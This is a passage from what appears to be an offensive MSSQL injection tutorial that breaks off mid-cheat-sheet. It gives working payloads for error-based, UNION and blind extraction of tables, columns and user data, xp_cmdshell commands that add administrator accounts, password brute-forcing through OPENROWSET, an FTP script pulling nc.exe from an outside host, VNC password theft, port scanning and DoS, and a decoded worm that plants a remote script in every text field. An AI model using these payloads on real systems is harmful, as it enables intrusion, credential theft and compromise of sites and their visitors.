  745. AND password='81dc9bdb52d04dc20036dbd8313ed055'</SqlQuery><id>-1</id><joindate>0001-01-01T00:00:00</joindate></GetUserInfoResult>
  746. </GetUserInfoResponse></soap:Body></soap:Envelope>
  747.  
  748. [End Respond]-------------------------------------------------------------------------------
  749.  
  750. Okey, The SOAP respond return error message like that. We can use simple techiques for SQLi that we showed you
  751. in section [0x02b] - ODBC Error Message Attack with "CONVERT", Let's use this SQLi:
  752.  
  753. admin' and 1=convert(int,@@version)--
  754.  
  755. [SOAP Request/Respond]----------------------------------------------------------------------
  756.  
  757. *** Request ***
  758. POST /webservice/service.asmx HTTP/1.0
  759. User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; MS Web Services Client Protocol 2.0.50727.1433)
  760. Content-Type: text/xml; charset=utf-8
  761. SOAPAction: "http://tempuri.org/GetUserInfo"
  762. Host: testcwh.cwh.net
  763. Content-Length: 384
  764.  
  765. <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
  766. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body>
  767. <GetUserInfo xmlns="http://tempuri.org/"><username>admin' and 1=convert(int,@@version)--</username><password>1234</password>
  768. </GetUserInfo></soap:Body></soap:Envelope>
  769.  
  770.  
  771. *** Response ***
  772. HTTP/1.1 200 OK
  773. Date: Wed, 28 Jan 2009 15:59:17 GMT
  774. Server: Microsoft-IIS/6.0
  775. X-Powered-By: ASP.NET
  776. X-AspNet-Version: 2.0.50727
  777. Cache-Control: private, max-age=0
  778. Content-Type: text/xml; charset=utf-8
  779. Content-Length: 1266
  780. Connection: close
  781. X-Junk: xxxxxxxxxxx
  782.  
  783. <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
  784. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body>
  785. <GetUserInfoResponse xmlns="http://tempuri.org/"><GetUserInfoResult><ErrorOccured>true</ErrorOccured><ErrorStr>
  786. System.Data.OleDb.OleDbException: Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2005 - 9.00.3042.00 (Intel X86)
  787. Feb 9 2007 22:47:07
  788. Copyright (c) 1988-2005 Microsoft Corporation
  789. Express Edition on Windows NT 5.2 (Build 3790: Service Pack 1)
  790. ' to data type int.
  791. at System.Data.OleDb.OleDbDataReader.ProcessResults(OleDbHResult hr)
  792. at System.Data.OleDb.OleDbDataReader.NextResult()
  793. at System.Data.OleDb.OleDbCommand.ExecuteReaderInternal(CommandBehavior behavior, String method)
  794. at System.Data.OleDb.OleDbCommand.ExecuteReader(CommandBehavior behavior)
  795. at Service.GetUserInfo(String username, String password)</ErrorStr><SqlQuery>SELECT * FROM users WHERE username='admin'
  796. and 1=convert(int,@@version)--' AND password='81dc9bdb52d04dc20036dbd8313ed055'</SqlQuery><id>-1</id><joindate>0001-01-01T00:00:00</joindate>
  797. </GetUserInfoResult></GetUserInfoResponse></soap:Body></soap:Envelope>
  798.  
  799. [End]---------------------------------------------------------------------------------------
  800.  
  801. W00t!! W00t!!, We can enumerate MSSQL Version : Microsoft SQL Server 2005 - 9.00.3042.00 (Intel X86).
  802. Then we can use SQLi techniques that we mention above (Dump tables, columns, data, Etc).
  803.  
  804. ++++++++++++++++++++++++++++++++++++++++++++++
  805. [0x02c] - MSSQL Injection with UNION Attack
  806. ++++++++++++++++++++++++++++++++++++++++++++++
  807.  
  808. This method differs from the both previous methods because we do not get information through error
  809. but we, instead, see it in some point of returned page.
  810.  
  811. First of all, we have to know the exact number of selected column. We can find it by using ORDER BY clause.
  812.  
  813. http://www.example.com/page.asp?id=1 order by 1--
  814. http://www.example.com/page.asp?id=1 order by 2--
  815. http://www.example.com/page.asp?id=1 order by 3--
  816. http://www.example.com/page.asp?id=1 order by 4--
  817. and so on
  818.  
  819. We observe a result from each request until we get error like this.
  820.  
  821. ------------------------------------------------------------------------------------
  822. Microsoft SQL Native Client error '80040e14'
  823. The ORDER BY position number 5 is out of range of the number of items in the select list.
  824. /showthread.asp, line 9
  825. ------------------------------------------------------------------------------------
  826.  
  827. This means this page select four columns from table and this error occurs when we request http://www.example.com/page.asp?id=1 order by 5--
  828.  
  829. Now, we use UNION operator to gain information.
  830.  
  831. [SQLi]------------------------------------------------------------------------------
  832. http://www.example.com/page.asp?id=1 and 1=2 UNION SELECT 11,22,33,44--
  833. [End SQLi]--------------------------------------------------------------------------
  834.  
  835. We will see "11" or "22" or "33" or "44" appeared on some point in returned page. We assume that
  836. we have already located the position which "44" occur on the screen.
  837. (We should remember this position because it is where our information will be appeared)
  838.  
  839. As we found "44" on the screen, we replace "44" with "@@version" in order to find the version of MSSQL.
  840.  
  841. [SQLi]------------------------------------------------------------------------------
  842. http://www.example.com/page.asp?id=1 and 1=2 UNION SELECT 11,22,33,@@version--
  843. [End SQLi]--------------------------------------------------------------------------
  844.  
  845. We will see version of MSSQL appeared in the position which "44" occurred.
  846.  
  847. At this point, we know that next information definitely takes place in this position.
  848.  
  849. The rest are to find table names, column names and data. As we see in previous section,
  850. we can obtain table names and column names through "information_schema" database.
  851. We still use the same way in this approach.
  852.  
  853. [SQli]------------------------------------------------------------------------------
  854. http://www.example.com/page.asp?id=1 and 1=2 UNION SELECT 11,22,33,table_name from information_schema.tables--
  855. [End SQLi]--------------------------------------------------------------------------
  856.  
  857. We will see the first table on the screen. We assume it is table called 'threads'. We can find next table by following request.
  858.  
  859. [SQli]------------------------------------------------------------------------------
  860. http://www.example.com/page.asp?id=1 and 1=2 UNION SELECT 11,22,33,table_name from information_schema.tables where table_name not in ('threads')--
  861. [End SQLi]--------------------------------------------------------------------------
  862.  
  863. We assume the retrieved table is 'users'. So, we append a known table list until we get blank in position which "44" occurred.
  864. After we get all table names that we want, we move to gather column names.
  865.  
  866. [SQli]------------------------------------------------------------------------------
  867. http://www.example.com/page.asp?id=1 and 1=2 UNION SELECT 11,22,33,column_name from information_schema.columns where table_name='users'--
  868. [End SQLi]--------------------------------------------------------------------------
  869.  
  870. From this request, we will see the first column in table 'users'. We assume it is 'uname'. For another column, we can use following request.
  871.  
  872. [SQLi]------------------------------------------------------------------------------
  873. http://www.example.com/page.asp?id=1 and 1=2 UNION SELECT 11,22,33,column_name from information_schema.columns where table_name='users' and
  874. column_name not in ('uname')--
  875. [End SQLi]--------------------------------------------------------------------------
  876.  
  877. We get the second column which is 'upass' and we continue appending a known column list until we get blank result.
  878. The most wanted information is data. It is quite simple after we obtained table names and column names. We just use following request.
  879.  
  880. [SQLi]------------------------------------------------------------------------------
  881. http://www.example.com/page.asp?id=1 and 1=2 UNION SELECT 11,22,33,uname from users--
  882. [End SQLi]--------------------------------------------------------------------------
  883.  
  884. We will get data such as admin from the request. In order to get another row, we only append information list as following.
  885.  
  886. [SQLi]------------------------------------------------------------------------------
  887. http://www.example.com/page.asp?id=1 and 1=2 UNION SELECT 11,22,33,uname from users where uname not in ('admin')--
  888. [End SQLi]--------------------------------------------------------------------------
  889.  
  890. Now, we can enumerate the rest data.
  891.  
  892.  
  893. ###########################################
  894. [0x03] - MSSQL Blind SQL Injection Attack
  895. ###########################################
  896.  
  897.  
  898. In some case, Using normal sql injection is not work. Blind sql injection is another method which may help you.
  899. The important point for blind sql injection is the difference between the valid and invalid query result.
  900. You have to inject a statement to make query valid or invalid and observe the response.
  901. Just because you don't see any results, doesn't mean that your injected SQL is not being executed !!
  902.  
  903.  
  904. ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
  905. [0x03a] - How to Test sites that are vulnerable in Blind SQL Injection
  906. ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
  907.  
  908. We assume that http://www.example.com/page.asp?id=1 is normal url to open web page.
  909.  
  910. You can try to inject a statement like this
  911.  
  912. http://www.example.com/page.asp?id=1 and 1=1
  913. and
  914. http://www.example.com/page.asp?id=1 and 1=2
  915.  
  916. If the results from these requests are different, it will be a good signal for you.
  917. This website may fall to blind sql injection vulnerability. When you put "id=1 and 1=1",
  918. it means that the condition is true so, the response must be normal.
  919. But the parameter "id=1 and 1=2" indicates that the condition is false
  920. and if the webmaster does not provide a proper filter, the response absolutely differs from previous.
  921.  
  922.  
  923. ++++++++++++++++++++++++++++++++++++++++++++++++++++++
  924. [0x03b] - Determine data through Blind SQL Injection
  925. ++++++++++++++++++++++++++++++++++++++++++++++++++++++
  926.  
  927. By using blind technique, you have to spend more time than normal injection.
  928. You can obtain only one character while you send several queries to server.
  929. We will give you an example of querying the first character of database name.
  930. We assume that database name is member. Therefore, the first character is "m"
  931. which the ascii value is 109. (At this point, we assume that you know ascii code)
  932.  
  933. Ok, first, we have to know that the results from requests have only 2 forms.
  934.  
  935. 1. Valid query result likes http://www.example.com/page.asp?id=1 and 1=1
  936. 2. Invalid query result likes http://www.example.com/page.asp?id=1 and 1=2
  937.  
  938.  
  939. The following steps are up to each person. You idea may be different from our idea in order to pick ascii code to test query.
  940.  
  941. http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>90
  942.  
  943. In this situation, the result will be valid query result like http://www.example.com/page.asp?id=1 and 1=1
  944. (because the first character of database name is "m" which ascii code is 109). Then, we try
  945.  
  946. http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>120
  947.  
  948. It is surely that the result will like http://www.example.com/page.asp?id=1 and 1=2 (because 109 absolutely less than 120).
  949. next, we try
  950.  
  951. http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>105
  952.  
  953. The result is a valid query result and at this point, the ascii value of first character of database name is between 105 and 120.
  954. So, we try
  955.  
  956. http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>112 ===> invalid query result
  957. http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>108 ===> valid query result
  958. http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>110 ===> invalid query result
  959. http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>109 ===> invalid query result
  960.  
  961. You see that the first character of database name has an ascii value which is greater than 108
  962. but is not greater than 109. Thus, we can conclude that the ascii value is equal to 109.
  963. You can prove with:
  964.  
  965. http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)=109 .
  966.  
  967. We sure that the result is like the result of http://www.target.com/page.php?id=1 and 1=1 .
  968.  
  969. The rest which you have to do is to manipulate some queries to collect your preferred information.
  970. In this tutorial, we propose some example queries in order to find the names of tables and columns in the database.
  971.  
  972.  
  973. ++++++++++++++++++++++++++++++++++++++++++++
  974. [0x03c] - Exploit query for get Table name
  975. ++++++++++++++++++++++++++++++++++++++++++++
  976.  
  977. In order to get table name, we can use above method to obtain each character of table name.
  978. The only thing that we have to do is to change query to retrieve table name of current database.
  979. As MSSQL does not have limit command. Therefore, the query is a bit complicate.
  980.  
  981. http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT TOP 1 LOWER(name)
  982. FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 1 LOWER(name) FROM sysObjects WHERE xtYpe=0x55))
  983. AS varchar(8000)),1,1)),0)>97
  984.  
  985. The above query is used to determine the first character of first table in current database. If we want to find second character of first table,
  986. we can do by following request:
  987.  
  988. http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT TOP 1 LOWER(name)
  989. FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 1 LOWER(name) FROM sysObjects WHERE xtYpe=0x55))
  990. AS varchar(8000)),2,1)),0)>97
  991.  
  992. We change the second parameter of substring function from 1 to 2 in order to specify preferred position of character in table name.
  993. Thus, if we want to determine other positions, we require only changing second parameter of substring function.
  994.  
  995. In case of other tables, we can find other table names by changing the second select
  996. from "SELECT TOP 1" to be "SELECT TOP 2" , "SELECT TOP 3" and so on. for example,
  997.  
  998. http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT TOP 1 LOWER(name)
  999. FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 2 LOWER(name) FROM sysObjects WHERE xtYpe=0x55))
  1000. AS varchar(8000)),1,1)),0)=97
  1001.  
  1002. The above request will determine the first character of the second table name in current database.
  1003.  
  1004.  
  1005. +++++++++++++++++++++++++++++++++++++++++++++
  1006. [0x03d] - Exploit query for get Column name
  1007. +++++++++++++++++++++++++++++++++++++++++++++
  1008.  
  1009. After we obtain table names, the next target information is absolutely column names.
  1010.  
  1011. http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT p.name FROM (SELECT (SELECT COUNT(i.colid)rid FROM
  1012. syscolumns i WHERE(i.colid<=o.colid) AND id=(SELECT id FROM sysobjects WHERE name='tablename'))x,name FROM syscolumns o WHERE
  1013. id=(SELECT id FROM sysobjects WHERE name='tablename')) as p WHERE(p.x=1))AS varchar(8000)),1,1)),0)>97
  1014.  
  1015. In order to circumvent from magic quote filtering, you have to change 'tablename'
  1016. to be the form of concatenating char() command. for example, if table name is 'user',
  1017. when we put 'user' in the query, ' may be filtered and our query will be wrong.
  1018. The solution is convert 'user' to be char(117)+char(115)+char(101)+char(114).
  1019. So, the query in where cluase changes from "Where name='user'" to "Where name=char(117)+char(115)+char(101)+char(114)".
  1020. In this case, we can circumvent magic quote filtering. The result from the above request is the first character of the first column name of specific table.
  1021. When we want to find the second character of the first column, we can use the same method as getting table name, by changing the second parameter of
  1022. substring function.
  1023.  
  1024. http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT p.name FROM (SELECT (SELECT COUNT(i.colid)rid FROM
  1025. syscolumns i WHERE(i.colid<=o.colid) AND id=(SELECT id FROM sysobjects WHERE name='tablename'))x,name FROM syscolumns o WHERE
  1026. id=(SELECT id FROM sysobjects WHERE name='tablename')) as p WHERE(p.x=1))AS varchar(8000)),2,1)),0)>97
  1027.  
  1028. The above request is used to determine the second character of the first column name in specific table.
  1029. In case of determining other columns, we can do by changing p.x value from 1 to 2,3,4 and so on. such as,
  1030.  
  1031. http://www.example.com/page.asp?id=1 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT p.name FROM (SELECT (SELECT COUNT(i.colid)rid FROM
  1032. syscolumns i WHERE(i.colid<=o.colid) AND id=(SELECT id FROM sysobjects WHERE name='tablename'))x,name FROM syscolumns o WHERE
  1033. id=(SELECT id FROM sysobjects WHERE name='tablename')) as p WHERE(p.x=2))AS varchar(8000)),1,1)),0)>97
  1034.  
  1035. The first character of the second column name in specific table can be determined by the above request.
  1036.  
  1037.  
  1038. ##############################################
  1039. [0x04] - More Dangerous SQL Injection Attack
  1040. ##############################################
  1041.  
  1042. In Chapter [0x02] and [0x03], We described about retrieving any useful data that was extracted from database
  1043. via SQL Injection techniques - for example, by performing a UNION Attack, Returning data in an error message and Blind injection.
  1044. This chapter will not show only an data extraction but command execution and sql worms as well.
  1045.  
  1046. +++++++++++++++++++++++++++++++++++++++++++++++++++++
  1047. [0x04a] - Dangerous from Extended Stored Procedures
  1048. +++++++++++++++++++++++++++++++++++++++++++++++++++++
  1049.  
  1050. xp_cmdshell - Executes a given command on the MSSQL Operation system
  1051. - Available by default on all MSSQL (Disabled on MSSQL 2005)
  1052. - Can only be executed by 'sa' and any other users with 'sysadmin' privileges
  1053.  
  1054. xp_regxxx - Read/Write registry keys, potentially including the Read SAM file
  1055.  
  1056. xp_regread
  1057. xp_regwrite
  1058. xp_regdeletekey
  1059. xp_regdeletevalue
  1060. xp_regenumkeys
  1061. xp_regenumvalues
  1062.  
  1063. [Example for determines what null-session shares are available on the server]
  1064. exec xp_regread HKEY_LOCAL_MACHINE,'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters','nullsessionshares'
  1065.  
  1066. xp_servicecontrol - Allows to Manage Services
  1067.  
  1068. [Example Command]--------------------------------------------------------------------
  1069. exec master..xp_servicecontrol 'start','schedule'
  1070. exec master..xp_servicecontrol 'start','server'
  1071. [End Command]------------------------------------------------------------------------
  1072.  
  1073. xp_availablemedia - Reveals the available drives on the machine
  1074. xp_dirtree - Allows a directory tree to be obtained
  1075. xp_enumdsn - Enumerates ODBC data sources on the server
  1076. xp_makecab - Allows the user to create a compressed archive of files on the server
  1077. xp_ntsec_enumdomains - Enumerates domains that the server can access
  1078. xp_terminate_process - Terminate a process (PID)
  1079. xp_loginconfig - Login mode
  1080.  
  1081. +++++++++++++++++++++++++++++++++++++++++++++
  1082. [0x04b] - Advanced SQL Injection Techniques
  1083. +++++++++++++++++++++++++++++++++++++++++++++
  1084.  
  1085. "xp_cmdshell" Stored procedures, executes any command shell in the server with the same permissions that it is currently running.
  1086. By default, only sysadmin is allowed to use it and in SQL Server 2005 it is disabled by default (it can be enabled again using sp_configure)
  1087.  
  1088. EXEC master.dbo.xp_cmdshell 'net user cwh cwh1234 /add' ;-- //Use for add user "cwh" into system.
  1089. EXEC master.dbo.xp_cmdshell 'net localgroup administrators cwh /add' ;-- //Use for escalating privilege "cwh" to admin group
  1090.  
  1091. Example through SQL injection in a numeric field via a GET request:
  1092. http://www.example.com/news.asp?id=1; exec master.dbo.xp_cmdshell 'command'
  1093.  
  1094. On MSSQL 2005 you may need to reactivate xp_cmdshell first as it's disabled by default:
  1095.  
  1096. EXEC sp_configure 'show advanced options', 1;--
  1097. RECONFIGURE;--
  1098. EXEC sp_configure 'xp_cmdshell', 1;--
  1099. RECONFIGURE;--
  1100.  
  1101. On MSSQL 2000:
  1102.  
  1103. If you have 'sa' privileges but xp_cmdshell has been disabled/removed with sp_dropextendedproc,
  1104. we can simply inject the following code:
  1105.  
  1106. EXEC sp_addextendedproc 'xp_anyname', 'xp_log70.dll';--
  1107.  
  1108. This creates a new stored procedure 'xp_anyname' linked to xp_log70.dll, which provides the xp_cmdshell functionality.
  1109. If the previous code does not work, it means that the xp_log70.dll has been moved or deleted. In this case we need to inject the following code:
  1110.  
  1111. CREATE PROCEDURE xp_cmdshell(@cmd varchar(255), @Wait int = 0) AS
  1112. DECLARE @result int, @OLEResult int, @RunResult int
  1113. DECLARE @ShellID int
  1114. EXECUTE @OLEResult = sp_OACreate 'WScript.Shell', @ShellID OUT
  1115. IF @OLEResult <> 0 SELECT @result = @OLEResult
  1116. IF @OLEResult <> 0 RAISERROR ('CreateObject %0X', 14, 1, @OLEResult)
  1117. EXECUTE @OLEResult = sp_OAMethod @ShellID, 'Run', Null, @cmd, 0, @Wait
  1118. IF @OLEResult <> 0 SELECT @result = @OLEResult
  1119. IF @OLEResult <> 0 RAISERROR ('Run %0X', 14, 1, @OLEResult)
  1120. EXECUTE @OLEResult = sp_OADestroy @ShellID
  1121. return @result
  1122.  
  1123. ** Tip **
  1124.  
  1125. [Question]
  1126. Determined that the web application connects to the DB with unprivileged account.
  1127. So we can't execute XP_CMDSHELL or access any interesting data ?
  1128.  
  1129. [Answer]
  1130. It's not the end, First we must enumerate MSSQL user accounts that have system administrator privileges.
  1131.  
  1132. [Code]--------------------------------------------------------------------------------------
  1133. http://www.example.com/news.asp?id=1 union all select null,null,name,null,null,null,null from master..syslogins where name not in ('sa') and sysadmin=1;--
  1134. [End Code]----------------------------------------------------------------------------------
  1135.  
  1136. [Result]------------------------------------------------------------------------------------
  1137. sa
  1138. cwh
  1139. example
  1140. [End Result]--------------------------------------------------------------------------------
  1141.  
  1142. We can use "OPENROWSET" to re-connect to the same database server under each enumerated
  1143. sysadmin account and guess passwords. This was automated via a Perl script to do brute-force password guessing through the SQL injection:
  1144.  
  1145. [Code]--------------------------------------------------------------------------------------
  1146. http://www.example.com/news.asp?id=1 union select * from openrowset('SQLoledb','server=VICTIMDBNAME;uid=$USER;pwd=$PASS','select * from master..sysusers')--
  1147. [End Code]----------------------------------------------------------------------------------
  1148.  
  1149. //Result: Found that "CWH" has a "1234"
  1150.  
  1151. Leveraged the "OPENDATASOURCE" function to execute a stored procedure on the database, under the "CWH" system administrator credentials:
  1152.  
  1153. [Code]--------------------------------------------------------------------------------------
  1154. http://www.example.com/news.asp?id=1; EXEC opendatasource('SQLoledb','Persist Security Info=False;DataSource=VICTIMDBNAME;UserID=CWH;Password=1234').master
  1155. .dbo.xp_cmdshell 'net user hacklol 1234 /add';
  1156. [End Code]----------------------------------------------------------------------------------
  1157.  
  1158. //Dirty Attack: use TFTP Netcat and run a reverse shell. Gained Internet access to the internal network.
  1159.  
  1160.  
  1161. = How about Upload of executables ? =
  1162.  
  1163. Once we can use xp_cmdshell (either the native one or a custom one), we can easily upload executables on the target DB Server.
  1164. A very common choice is netcat.exe, but any trojan will be useful here. If the target is allowed to start FTP connections to the tester's machine,
  1165. all that is needed is to inject the following queries:
  1166.  
  1167. exec master..xp_cmdshell 'echo open ftp.tester.org > ftpscript.txt';--
  1168. exec master..xp_cmdshell 'echo USER >> ftpscript.txt';--
  1169. exec master..xp_cmdshell 'echo PASS >> ftpscript.txt';--
  1170. exec master..xp_cmdshell 'echo bin >> ftpscript.txt';--
  1171. exec master..xp_cmdshell 'echo get nc.exe >> ftpscript.txt';--
  1172. exec master..xp_cmdshell 'echo quit >> ftpscript.txt';--
  1173. exec master..xp_cmdshell 'ftp -s:ftpscript.txt';--
  1174.  
  1175.  
  1176. = How about Retrieving VNC Password from Registry ? =
  1177.  
  1178. '; declare @out binary(8)
  1179. exec master..xp_regread
  1180. @rootkey = 'HKEY_LOCAL_MACHINE',
  1181. @key = 'SOFTWARE\ORL\WinVNC3\Default',
  1182. @value_name='password',
  1183. @value = @out output
  1184. select cast (@out as bigint) as x into TEMP--
  1185.  
  1186. ' and 1 in (select cast(x as varchar) from temp)--
  1187.  
  1188.  
  1189. = How about Port Scanning ? =
  1190.  
  1191. We can use SQL injection vulnerability as a rudimentary IP/Port Scanner of the Internal Network or Internet
  1192.  
  1193. [Code]--------------------------------------------------------------------------------------
  1194. http://www.example.com/news.asp?id=1 union select * from openrowset('SQLoledb','uid=sa;pwd=;Network=DBMSSOCN;Address=10.10.10.12,80;timeout=5',
  1195. 'select * from table')--
  1196. [End Code]----------------------------------------------------------------------------------
  1197.  
  1198. This Code will outbound the connection to 10.10.10.12 over port 80. If the port is closed, the timeout (5 seconds)
  1199. in parameter will be consumed and display error message:
  1200.  
  1201. "SQL Server does not exist or access denied"
  1202.  
  1203. If port is open, the timeout would not be consumed and error messages will returned:
  1204.  
  1205. "General network error. Check your network documentation"
  1206. or
  1207. "OLE DB provider 'sqloledb' reported an error. The provider did not give any information about the error."
  1208.  
  1209. This technique, We will be able to map open ports on the IP addresses of hosts on the internal network (w00t !!)
  1210.  
  1211. ** Note **
  1212. This technique can use for Denial of Service (DoS). Just change port to some port such as: FTP (21), and change timeout too high (500).
  1213. It's make many connections to target over FTP service (port 21)
  1214.  
  1215. ++++++++++++++++++++++++++++++++++++++
  1216. [0x04c] - Mass MSSQL Injection Worms
  1217. ++++++++++++++++++++++++++++++++++++++
  1218.  
  1219. Recently, we came across a particularly interesting type of SQL Injection that, at times, can be quite difficult to clean,
  1220. even with the most robust database backup and recovery scheme. This attack is conducted with the help of an Internet robot—also
  1221. known as malbot—which attacks its prospects daily. It is likely that such a malbot fires the series of injection attempts continuously
  1222. and conditionally until the malicious script references are sensed on the targeted web pages. There is nothing new in the way that
  1223. the following T-SQL is injected. Yet, the generic nature of the script is somewhat interesting to see.
  1224.  
  1225.  
  1226. [SQLi worm]---------------------------------------------------------------------------------
  1227. ';DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x4400450043004C004100520045002000400054002000760061007200630068006100720028003200350035
  1228. 0029002C0040004300200076006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F004300
  1229. 7500720073006F007200200043005500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E
  1230. 0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E0073002000
  1231. 6200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E00780074007900700065003D0027007500270020
  1232. 0061006E0064002000280062002E00780074007900700065003D003900390020006F007200200062002E00780074007900700065003D003300350020006F0072002000
  1233. 62002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D003100AS%20NVARCHAR(4000));EXEC(@S);--
  1234. [End SQLi]----------------------------------------------------------------------------------
  1235.  
  1236. When we decode this SQLi Code with Hex:
  1237.  
  1238. [SQLi Decoded]------------------------------------------------------------------------------
  1239.  
  1240. DECLARE @T VARCHAR(255)
  1241. DECLARE @C VARCHAR(255)
  1242.  
  1243. DECLARE Table_Cursor CURSOR FOR
  1244. SELECT [A].[Name], [B].[Name]
  1245. FROM sysobjects AS [A], syscolumns AS [B]
  1246. WHERE [A].[ID] = [B].[ID] AND
  1247.  
  1248. [A].[XType] = 'U' /* Table (User-Defined) */ AND
  1249. ([B].[XType] = 99 /* NTEXT */ OR
  1250. [B].[XType] = 35 /* TEXT */ OR
  1251. [B].[XType] = 231 /* SYSNAME */ OR
  1252. [B].[XType] = 167 /* VARCHAR */)
  1253.  
  1254. OPEN Table_Cursor
  1255. FETCH NEXT FROM Table_Cursor INTO @T,@C
  1256.  
  1257. WHILE (@@FETCH_STATUS = 0)
  1258.  
  1259. BEGIN
  1260. EXEC('UPDATE [' + @T + '] SET [' + @C + '] = RTRIM(CONVERT(VARCHAR, [' + @C + '])) + ''<script src="http://www.fengnima.cn/k.js"></script>''')
  1261. FETCH NEXT FROM Table_Cursor INTO @T, @C
  1262. END
  1263.  
  1264. CLOSE Table_Cursor
  1265. DEALLOCATE Table_Cursor
  1266.  
  1267. [End SQLi]----------------------------------------------------------------------------------
  1268.  
  1269. What happens as a result? It finds all text fields in the database and adds a link to malicious javascript
  1270. <script src="http://www.fengnima.cn/k.js"></script> to each and every one of them which will make your website display them automatically.
  1271. So essentially what happened was that the attackers looked for ASP or ASPX pages containing any type of querystring (a dynamic value such as
  1272. an article ID, product ID, etc) parameter and tried to use that to upload their SQL injection code.
  1273.  
  1274.  
  1275. ########################################
  1276. [0x05] - MSSQL Injection Cheat Sheet
  1277. ########################################
  1278.  
  1279. ** Some of the queries in the table below can only be run by an admin (SA Privilege).
  1280. These are marked with "-- priv" at the end of the query. **
  1281.  
  1282. +---------------+---------------------------------------------------------------------------+
  1283. | Version | SELECT @@version |
  1284. |---------------|---------------------------------------------------------------------------|
  1285. | Comments | SELECT 1 -- comment |
  1286. | | SELECT /*comment*/1 |
  1287. |---------------|---------------------------------------------------------------------------|
  1288. | | SELECT user_name(); |
  1289. | | SELECT system_user; |
  1290. | Current User | SELECT user; |
  1291. | | SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID |
  1292. |---------------|---------------------------------------------------------------------------|
  1293. | List Users | SELECT name FROM master..syslogins |
  1294. |---------------|---------------------------------------------------------------------------|
  1295. | | MSSQL2000: SELECT name, password FROM master..sysxlogins -- priv |
  1296. | | |
  1297. | | SELECT name, master.dbo.fn_varbintohexstr(password) |
  1298. | | FROM master..sysxlogins -- priv |
  1299. | List Password | |
  1300. | Hashes | MSSQL2005: SELECT name, password_hash FROM |
  1301. | | master.sys.sql_logins -- priv |
  1302. | | |
  1303. | | SELECT name + '-' + |
  1304. | | master.sys.fn_varbintohexstr(password_hash) |
  1305. | | FROM master.sys.sql_logins -- priv |
  1306. |---------------|---------------------------------------------------------------------------|
  1307. | | SELECT is_srvrolemember('sysadmin'); -- is your account a sysadmin? |
  1308. | | returns 1 for true, 0 for false, NULL for invalid role. |
  1309. | | Also try 'bulkadmin', 'systemadmin' and other values. |
  1310. | List DBA | |
  1311. | Accounts | |
  1312. | | SELECT is_srvrolemember('sysadmin', 'sa'); -- is sa a sysadmin? |
  1313. | | return 1 for true, 0 for false, NULL for invalid role/username. |
  1314. |---------------|---------------------------------------------------------------------------|
  1315. | Current DB | SELECT DB_NAME() |
  1316. |---------------|---------------------------------------------------------------------------|
  1317. | List | SELECT name FROM master..sysdatabases; |
  1318. | Databases | SELECT DB_NAME(N); -- for N = 0, 1, 2, ... |
  1319. |---------------|---------------------------------------------------------------------------|
  1320. | | SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE |
  1321. | | name = 'mytable'); -- for the current DB only |
  1322. | | |
  1323. | List Columns | SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM |
  1324. | | master..syscolumns, master..sysobjects WHERE |
  1325. | | master..syscolumns.id=master..sysobjects.id AND |
  1326. | | master..sysobjects.name='sometable'; -- list colum names |
  1327. | | and types for master..sometable |
  1328. |---------------|---------------------------------------------------------------------------|
  1329. | | SELECT name FROM master..sysobjects WHERE xtype = 'U'; |
  1330. | | (Use xtype = 'V' for views) |
  1331. | | SELECT name FROM someotherdb..sysobjects WHERE xtype = 'U'; |
  1332. | | |
  1333. | List Tables | SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) |
  1334. | | FROM master..syscolumns, master..sysobjects WHERE |
